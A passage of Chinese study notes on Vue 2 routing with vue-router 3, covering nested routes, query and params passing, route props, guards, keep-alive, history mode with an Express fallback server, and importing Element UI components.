var history=require('connect-history-api-fallback')
const app=express()
app.use(history())//在使用静态资源之前使用它

app.use(express.static(_dirname+'/static'))
app.get('/person',(req,res)=>{
    res.send({
        name:'tom',
        age:18
    })
})
app.listen(5005,(err)=>{
    if(!err) console.log('服务器启动成功了！')
})
```

前端内容：

index.js

```
const router =  new VueRouter({
    mode:'history',
    routes:[
        {
            name:'guanyu',
            path:'/about',
            component:About,
            meta:{isAuth:true,title:'关于'}
```

```
                                    },
                                    {
                                        name:'zhuye',
                                        path:'/home',
                                        component:Home,
                                        meta:{title:'主页'},
                                        children:[
                                            {
                                                name:'xinwen',
                                                path:'news',
                                                component:News,
                                                meta:
{isAuth:true,title:'新闻'},
                                                /* beforeEnter:
(to, from, next) => {

console.log('前置路由守卫',to,from)

if(to.meta.isAuth){ //判断是否需要鉴权

if(localStorage.getItem('school')==='atguigu'){

next()
                                                        }else{

alert('学校名不对，无权限查看！')
                                                        }
                                                    }else{
                                                        next()
                                                    }
                                                } */
                                            },
                                            {
                                                name:'xiaoxi',
                                                path:'message',

component:Message,
                                                meta:
{isAuth:true,title:'消息'},
                                                children:[
                                                    {
```

```
name:'xiangqing',

path:'detail',

component:Detail,
                                                    meta:
{isAuth:true,title:'详情'},

                                                    //props
的第一种写法，值为对象，该对象中的所有key-value都会以props的形式传给
Detail组件。
                                                    //
props:{a:1,b:'hello'}

                                                    //props
的第二种写法，值为布尔值，若布尔值为真，就会把该路由组件收到的所有params
参数，以props的形式传给Detail组件。
                                                    //
props:true

                                                    //props
的第三种写法，值为函数

props($route){

return {

id:$route.query.id,

title:$route.query.title,

a:1,

b:'hello'
                                                        }
                                                    }

                                                }
                                            ]
                                        }
                                    ]
```

```
                    }
                ]
            })
```

router-link最后也是通过vue-router库转成a标签，当如果你需要的按钮不是a标签，怎么办---那就是编程式路由导航来写

Vue中借助router-link标签实现路由的切换 ，如何做到点谁谁高亮 active-class="active"，就是激活时的样式,此时你在切换标题的时候，路由器已经能检测路径的变化，也完成了路由的规则匹配

Vue.use就是用来安装插件的

路由就是一组key-value的对应关系，多个路由，需要经过路由器的管理。key1+value1=>路由route。

router包含多个route规则：/class=>班级组件，等等规则。

spa应用就是单页面应用，只有一个HTML页面。

vue2对应vue-router3，vue3对应vue-router4,版本要对应。所以npm i vue-router@3

路由器引入和使用，然后配置路由，在app.vue中vue实例对象中配置router，不能随便写一个字符串，得有实实在在的router，router：router，创建的router里面有个index.js文件，该文件专门用于创建你整个应用的路由器，也要写一个router实例化对象，里面写一些路由规则，

router文件夹内容如下：

index.js

导入vue-router，导入用到的组件，创建并暴露一个路由器，实例化router

```
//创建并暴露一个路由器
export default new VueRouter({
    routes:[
        {
            path:'/about',
            component:About
        },
        {
            path:'/home',
            component:Home
        }
    ]
})
```

main.js

```
//引入VueRouter
import VueRouter from 'vue-router'
//引入路由器
import router from './router'
```

```
                new Vue({
                    el:'#app',
                    render: h => h(App),
                    router:router
                })
            app.vue
               <div class="row">
                    <div class="col-xs-2 col-xs-offset-2">
                        <div class="list-group">
                            <!-- 原始html中我们使用a标签实现页面的跳转,active是用于点谁谁高亮 -->
                            <!-- <a class="list-group-item active" href="./about.html">About</a> -->
                            <!-- <a class="list-group-item" href="./home.html">Home</a> -->

                            <!-- Vue中借助router-link标签实现路由的切换 ，如何做到点谁谁高亮active-class="active"，就是激活时的样式，此时你在切换标题的时候，路由器已经能检测路径的变化，也完成了路由的规则匹配-->
                            <router-link class="list-group-item" active-class="active" to="/about">About</router-link>
                            <router-link class="list-group-item" active-class="active" to="/home">Home</router-link>
                        </div>
                    </div>
                    <div class="col-xs-6">
                        <div class="panel">
                            <div class="panel-body">
                                <!-- 指定组件的呈现位置 -->
                                <router-view></router-view>
                            </div>
                        </div>
                    </div>
                </div>
```

```
    1. 理解： 一个路由（route）就是一组映射关系（key - value），多个路由需要路由器（router）进行管理。
    2. 前端路由：key是路径，value是组件。
    ### 1.基本使用
        1. 安装vue-router，命令：```npm i vue-router```
```

2. 应用插件：```Vue.use(VueRouter)，main.js中引入和使用
```

3. 编写router配置项:

```js
//引入VueRouter
import VueRouter from 'vue-router'
//引入Luyou 组件
import About from '../components/About'
import Home from '../components/Home'

//创建router实例对象，去管理一组一组的路由规则
const router = new VueRouter({
    routes:[
        {
            path:'/about',
            component:About
        },
        {
            path:'/home',
            component:Home
        }
    ]
})

//暴露router
export default router
```

4. 实现切换（active-class可配置高亮样式）

```vue
<router-link active-class="active"
to="/about">About</router-link>
```

5. 指定展示位置

```vue
<router-view></router-view>
```

2.几个注意点

1. 路由组件通常存放在```pages```文件夹，一般组件通常存放在```components```文件夹。

2. 通过切换，“隐藏”了的路由组件，默认是被销毁掉的，需要的时候再去挂载。
```

```
            3. 每个组件都有自己的```$route```属性，里面存储着自己的路由信息。
            4. 整个应用只有一个router，可以通过组件的```$router```属性获取到。
    ### 3.多级路由（多级路由）
        1. 配置路由规则，使用children配置项：
            ```js
            routes:[
                {
                    path:'/about',
                    component:About,
                },
                {
                    path:'/home',
                    component:Home,
                    children:[ //通过children配置子级路由
                        {
                            path:'news', //此处一定不要写：/news
                            component:News
                        },
                        {
                            path:'message',//此处一定不要写：/message
                            component:Message
                        }
                    ]
                }
            ]
            ```
        2. 跳转（要写完整路径）：
            ```vue
            <router-link to="/home/news">News</router-link>
            ```
    ### 4.路由的query参数
        1. 传递参数
            ```vue
            <!-- 跳转并携带query参数，to的字符串写法 -->
            <router-link :to="/home/message/detail?id=666&title=你好">跳转</router-link>

            <!-- 跳转并携带query参数，to的对象写法 -->
```
```

```
            <router-link
                :to="{
                    path:'/home/message/detail',
                    query:{
                    id:666,
                        title:'你好'
                    }
                }"
            >跳转</router-link>
            ```
        2. 接收参数：
            ```js
            $route.query.id
            $route.query.title
            ```
    ### 5.命名路由
        1. 作用：可以简化路由的跳转。
        2. 如何使用
            1. 给路由命名：
                ```js
                {
                    path:'/demo',
                    component:Demo,
                    children:[
                        {
                            path:'test',
                            component:Test,
                            children:[
                                {
                                    name:'hello' //给路由命名
                                    path:'welcome',
                                    component:Hello,
                                }
                            ]
                        }
                    ]
                }
                ```
            2. 简化跳转：
                ```vue
                <!--简化前，需要写完整的路径 -->
```

```
                <router-link to="/demo/test/welcome">跳转
</router-link>
                <!--简化后，直接通过名字跳转 -->
                <router-link :to="{name:'hello'}">跳转
</router-link>
                <!--简化写法配合传递参数 -->
                <router-link
                    :to="{
                        name:'hello',
                        query:{
                        id:666,
                            title:'你好'
                        }
                    }"
                >跳转</router-link>
                ```


    ### 6.路由的params参数
        1. 配置路由，声明接收params参数
            ```js
            {
                path:'/home',
                component:Home,
                children:[
                    {
                        path:'news',
                        component:News
                    },
                    {
                        component:Message,
                        children:[
                            {
                                name:'xiangqing',
                                path:'detail/:id/:title', //
使用占位符声明接收params参数
                                component:Detail
                            }
                        ]
                    }
                ]
            }
            ```
```
```

2. 传递参数

```vue
<!-- 跳转并携带params参数，to的字符串写法 -->
<router-link :to="/home/message/detail/666/你好">跳转</router-link>

<!-- 跳转并携带params参数，to的对象写法 -->
<router-link
    :to="{
        name:'xiangqing',
        params:{
        id:666,
            title:'你好'
        }
    }"
>跳转</router-link>
```

> 特别注意：路由携带params参数时，若使用to的对象写法，则不能使用path配置项，必须使用name配置！

3. 接收参数：

```js
$route.params.id
$route.params.title
```

7.路由的props配置

- 作用：让路由组件更方便的收到参数

```js
{
    name:'xiangqing',
    path:'detail/:id',
    component:Detail,

    //第一种写法：props值为对象，该对象中所有的key-value的组合最终都会通过props传给Detail组件
    // props:{a:900}

    //第二种写法：props值为布尔值，布尔值为true，则把路由收到的所有params参数通过props传给Detail组件
    // props:true
```

```
                //第三种写法：props值为函数，该函数返回的对象中每一组key-value都会通过props传给Detail组件
                props(route){
                    return {
                        id:route.query.id,
                        title:route.query.title
                    }
                }
            }
            ```
    ### 8.```<router-link>```的replace属性
        1. 作用：控制路由跳转时操作浏览器历史记录的模式
        2. 浏览器的历史记录有两种写入方式：分别为```push```和```replace```，```push```是追加历史记录，```replace```是替换当前记录。路由跳转时候默认为```push```
        3. 如何开启```replace```模式：```<router-link replace .....>News</router-link>```
    ### 9.编程式路由导航
        1. 作用：不借助```<router-link> ```实现路由跳转，让路由跳转更加灵活
        2. 具体编码：
            ```js
            //$router的两个API
            this.$router.push({
                name:'xiangqing',
                    params:{
                        id:xxx,
                        title:xxx
                    }
            })
            this.$router.replace({
                name:'xiangqing',
                    params:{
                        id:xxx,
                        title:xxx
                    }
            })
            this.$router.forward() //前进
            this.$router.back() //后退
            this.$router.go() //可前进也可后退
            ```
    ### 10.缓存路由组件
```
```

1. 作用：让不展示的路由组件保持挂载，不被销毁。
2. 具体编码：
    ```vue
    <keep-alive include="News">
        <router-view></router-view>
    </keep-alive>
    ```

11.两个新的生命周期钩子

1. 作用：路由组件所独有的两个钩子，用于捕获路由组件的激活状态。
2. 具体名字：
    1. ```activated```路由组件被激活时触发。
    2. ```deactivated```路由组件失活时触发。

12.路由守卫

1. 作用：对路由进行权限控制
2. 分类：全局守卫、独享守卫、组件内守卫
3. 全局守卫:
    ```js
    //全局前置守卫：初始化时执行、每次路由切换前执行
    router.beforeEach((to,from,next)=>{
        console.log('beforeEach',to,from)
        if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
            if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
                next() //放行
            }else{
                alert('暂无权限查看')
                // next({name:'guanyu'})
            }
        }else{
            next() //放行
        }
    })
    //全局后置守卫：初始化时执行、每次路由切换后执行
    router.afterEach((to,from)=>{
        console.log('afterEach',to,from)
        if(to.meta.title){
            document.title = to.meta.title //修改网页的title
        }else{
            document.title = 'vue_test'
```

```
                }
            })
        ```
        4. 独享守卫:
            ```js
            beforeEnter(to,from,next){
                console.log('beforeEnter',to,from)
                if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
                    if(localStorage.getItem('school') === 'atguigu'){
                        next()
                    }else{
                        alert('暂无权限查看')
                        // next({name:'guanyu'})
                    }
                }else{
                    next()
                }
            }
            ```
        5. 组件内守卫：
            ```js
            //进入守卫：通过路由规则，进入该组件时被调用
            beforeRouteEnter (to, from, next) {
            },
            //离开守卫：通过路由规则，离开该组件时被调用
            beforeRouteLeave (to, from, next) {
            }
        ```

    ### 13.路由器的两种工作模式
            1. 对于一个url来说，什么是hash值？—— #及其后面的内容就是hash值。
            2. hash值不会包含在 HTTP 请求中，即：hash值不会带给服务器。
            3. hash模式：
            1. 地址中永远带着#号，不美观 。
            2. 若以后将地址通过第三方手机app分享，若app校验严格，则地址会被标记为不合法。
            3. 兼容性较好。
            4. history模式：
            1. 地址干净，美观 。
```
```

2. 兼容性和hash模式相比略差。
3. 应用部署上线时需要后端人员支持，解决刷新页面服务端404的问题。

41.vue-ui组件库:（唯品会就是特定自己写的，颜色特定）这写组件库是基于什么写的vue还是react，是pc端还是移动端，组件标签可以写或，那些组件库中的图表可以更换，在网站中如elementui中就有图标可以更换

移动端常用ui组件库：

vant

cube UI

mint UI

PC端常用ui组件库：

element UI ：饿了么

iview UI ：

nutUI:京东

antd for vue：蚂蚁金服

如elementUi:

main.js

```
//完整引入
//引入ElementUI组件库
// import ElementUI from 'element-ui';
//引入ElementUI全部样式
// import 'element-ui/lib/theme-chalk/index.css';
```

```
//按需引入
import { Button,Row,DatePicker } from 'element-ui';
```

```
//关闭Vue的生产提示
Vue.config.productionTip = false

//应用ElementUI
// Vue.use(ElementUI);
Vue.component('atguigu-button', Button);
Vue.component('atguigu-row', Row);
Vue.component('atguigu-date-picker', DatePicker);
```